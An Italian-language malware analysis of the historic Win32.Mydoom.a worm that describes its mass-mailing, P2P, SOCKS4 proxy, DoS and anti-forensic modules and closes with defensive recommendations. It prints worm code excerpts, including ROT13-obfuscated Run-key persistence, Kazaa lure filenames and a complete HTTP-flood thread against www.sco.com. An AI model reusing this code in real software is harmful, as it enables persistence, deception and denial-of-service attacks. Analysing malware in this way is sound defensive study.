Analisi del Malware Win32.Mydoom.a

Introduzione

`Win32.Mydoom.a` è un worm di tipo mass-mailing che si è diffuso rapidamente nel 2004 sfruttando sia la posta elettronica sia le reti peer-to-peer (P2P). Il malware è scritto in C ed è strutturato in più file sorgente, ciascuno dei quali implementa una componente funzionale del worm. La sua architettura modulare, unita a tecniche di offuscamento, persistenza e evasione, lo rende particolarmente insidioso da rilevare e neutralizzare.

Architettura Generale

Il codice sorgente è suddiviso in diversi moduli, ognuno dei quali gestisce uno specifico aspetto del comportamento del malware:

- **`main.c`** – Punto di ingresso e orchestratore delle funzionalità
- **`massmail.c / msg.c`** – Composizione ed invio di email ingannevoli
- **`scan.c`** – Raccolta di indirizzi email dai file locali
- **`xsmtp.c`** – Connessione e invio di email tramite SMTP
- **`p2p.c`** – Propagazione tramite reti P2P
- **`xproxy.c`** – Funzionalità di proxy SOCKS4
- **`sco.c`** – Attacchi DoS verso specifici obiettivi
- **`lib.c`** – Funzioni ausiliarie e offuscamento
- **`cleanpe.cpp`** – Manipolazione di eseguibili PE per evasione forense

Comportamenti Malevoli Chiave

- Diffusione tramite email e P2P
- Creazione di backdoor
- Attacchi Denial of Service (DoS)
- Proxy malevolo (SOCKS4)
- Evasione forense e crittografica
- Manipolazione di file di sistema

Analisi dei Moduli Principali

`main.c` – Inizializzazione e Persistenza

Il **cuore** del malware. Funge da punto di ingresso. Questo modulo inizializza l'ambiente, e gestisce l'avvio di thread paralleli per inviare email, comunicare con server remoti e mantenere la persistenza.
In fase iniziale:

- Copia sé stesso in directory di sistema (es. `C:\Windows\System32\taskmon.exe`)

```
rot13(regpath, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha");
rot13(valname, "GnfxZba");  /* "TaskMon" */
```

- Crea voci nel registro di sistema per l'avvio automatico (Run)
- Crea un mutex per evitare più istanze simultanee

```
CreateMutex(NULL, TRUE, tmp);
```

- Avvia thread paralleli per invio email, scansione file, attivazione proxy e P2P

Implementa anche controlli temporali tramite sync_checktime() per evitare l'esecuzione dopo una certa data, probabilmente per evitare il rilevamento a lungo termine.

`msg.c` + `massmail.c` – Email Ingannevoli

Tra i moduli più significativi troviamo **msg.c** e **massmail.c**, responsabili della generazione delle mail malevole: qui vengono creati messaggi con testi ingannevoli e allegati dannosi, mascherati da documenti legittimi e **offuscati in Base64 e ROT13 per eludere i filtri antivirus.**
Le caratteristiche chiave includono:

- Spoofing del mittente (randomizzazione)
- Allegati infetti codificati in Base64
- Offuscamento delle stringhe tramite ROT13
- Varietà di testi per aumentare la credibilità

`scan.c` – Raccolta Indirizzi Email

La raccolta degli indirizzi email viene invece affidata a **scan.c**, che scandaglia file locali, alla ricerca di contatti da infettare.
Il worm scansiona:

- File .txt, .html, .dbx, .wab
- Cartelle temporanee di Internet
- Rubrica di Outlook

```
static void scan_out(const char *email)
{
    massmail_addq(email, 0);
    return;
}
```

Questo gli consente di costruire una vasta lista di target per il mass mailing.

`xsmtp.c` – Invio delle Email Infette

L'invio vero e proprio delle email è gestito da **xsmtp.c,** che tenta connessioni dirette ai server **SMTP.**
Principalmente si occupa di:

- Risoluzione dei record MX via DNS
- Invio di email tramite server SMTP noti o configurati dall'utente
- Tentativi multipli per assicurare la consegna

`zipstore.c` – Creazione di Archivi ZIP

È presente anche un modulo **`zipstore.c`,** usato per confezionare **i payload infetti,** spesso manipolando intestazioni e checksum per aumentare la credibilità.
I file infetti vengono compressi in **archivi ZIP** per eludere controlli antivirus

```
struct zip_header_t {
    DWORD signature;        /* 0x04034b50 */
    WORD ver_needed;
    WORD flags;
    WORD method;
    WORD lastmod_time;
    WORD lastmod_date;
    DWORD crc;
    DWORD compressed_size;
    DWORD uncompressed_size;
    WORD filename_length;
    WORD extra_length;
};
```

`p2p.c` – Propagazione via Peer-to-Peer

P2p.c, analizza e sfrutta reti P2P come **Kazaa per replicarsi.** Il worm si **copia nelle cartelle condivise**, assumendo nomi accattivanti per trarre in inganno gli utenti:

- Inserisce copie infette con nomi accattivanti (es. `Winamp.exe`, `CrackPhotoshop.exe`, `taskmon.exe`)

```
char *kazaa_names[] = {
    "jvanzc5",
    "vpd2004-svany",
    "npgvingvba_penpx",
    "fgevc-tvey-2.0o",
    "qpbz_cngpurf",
    "ebbgxvgKC",
    "bssvpr_penpx",
    "ahxr2004"
};
```

Questi nomi, una volta decodificati, possono corrispondere a termini accattivanti per attirare gli utenti di Kazaa.

- Può sfruttare la funzione `p2p_spread()` per replicarsi automaticamente nei percorsi condivisi

`xproxy.c` – Proxy SOCKS4 Malevolo

Xproxy.c implementa un proxy **SOCKS4** che trasforma la macchina infetta in un nodo per **comunicazioni illegittime**.
Questo modulo consente:

- Accesso remoto al sistema infetto
- Offuscamento del traffico in uscita
- Possibilità di inoltrare altri attacchi tramite la macchina vittima

`sco.c` – Attacco Denial of Service

In parallelo, il **modulo sco.c**, lancia **attacchi DoS** verso obiettivi specifici, inondando di richieste tramite connessioni multiple.
Tutto questo porta:

- Generazione massiva di richieste HTTP
- Utilizzo di connessioni multiple per saturare la banda del server
- Offuscamento ROT13 degli URL per nasconderli nel codice

```
// Funzione principale del thread che lancia l'attacco DoS
static DWORD _stdcall scodos_th(LPVOID pv)
{
    struct sockaddr_in addr;
    char buf[512];
    int sock;

    // Decodifica ROT13 della richiesta HTTP "GET / HTTP/1.1\r\nHost: www.sco.com\r\n\r\n"
    rot13(buf,
        "TRG / UGGC/1.1\r\n"
        "Ubfg: jjj.fpb.pbz\r\n"
        "\r\n");

    SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);
    if (pv == NULL) goto ex;
    addr = *(struct sockaddr_in *)pv;
```

```
    for (;;) {
        // Connette al server target (www.sco.com)
        sock = connect_tv(&addr, 8);
        if (sock != 0) {
            // Invia la richiesta HTTP
            send(sock, buf, lstrlen(buf), 0);
            Sleep(300);  // Pausa breve
            closesocket(sock);
        }
    }
ex:
    ExitThread(0);
    return 0;
}
```

`lib.c` – Funzioni di Supporto

Questo modulo funge da **libreria condivisa** e fornisce utility fondamentali utilizzate da altri componenti del worm. Le sue funzionalità coprono diversi ambiti:

- Generazione di numeri casuali
- Manipolazione di stringhe

- Conversioni Base64 e ROT13
- Verifica connettività
- Gestione delle date SMTP

`cleanpe.cpp` – Pulizia di Eseguibili

Per **ostacolare l'analisi forense**, il file **cleanpe.cpp** rimuove o modifica metadati e timestamp dagli eseguibili, alterando le intestazioni PE. Tutto il codice è disseminato di funzioni offuscate, codificate in ROT13, per confondere analisti e strumenti automatici.

Tecniche di Offuscamento ed Evasione

- ROT13 e Base64 per nascondere stringhe e URL
- Manipolazione del registro per l'avvio automatico
- Thread multipli per resilienza e resistenza alla terminazione
- Controllo temporale per fermare il malware dopo una data specifica
- Dropper con decifratura on-the-fly di eseguibili (es. `decrypt1_to_file()`)

Considerazioni Finali

Il malware Mydoom è un esempio avanzato di worm multi-canale con caratteristiche che anticipavano molte tecniche moderne:

- Uso simultaneo di mass mailing e P2P
- Componenti modulari e indipendenti
- Capacità di creare un'infrastruttura C2 attraverso proxy interni
- Tentativi di elusione attiva della rilevazione

Raccomandazioni

È fondamentale isolare le macchine sospette, eseguire analisi forensi accurate e rafforzare i sistemi di monitoraggio del traffico e dei processi.

- Isolare i sistemi infetti immediatamente
- Rimuovere le chiavi di registro Run sospette
- Effettuare analisi forensi sui PE sospetti
- Implementare EDR (**Endpoint Detection and Response**) con funzionalità anti-mass-mailing e rilevamento comportamentale

---

Conclusione

Win32.Mydoom.a rappresenta una delle implementazioni storiche più pericolose di malware a diffusione massiva. La sua architettura modulare, unita a tecniche di evasione e persistenza, ha rappresentato un punto di svolta nello sviluppo dei worm.
La sua analisi continua a offrire spunti didattici e pratici per la comprensione delle tecniche ancora oggi utilizzate da molte famiglie di malware moderne.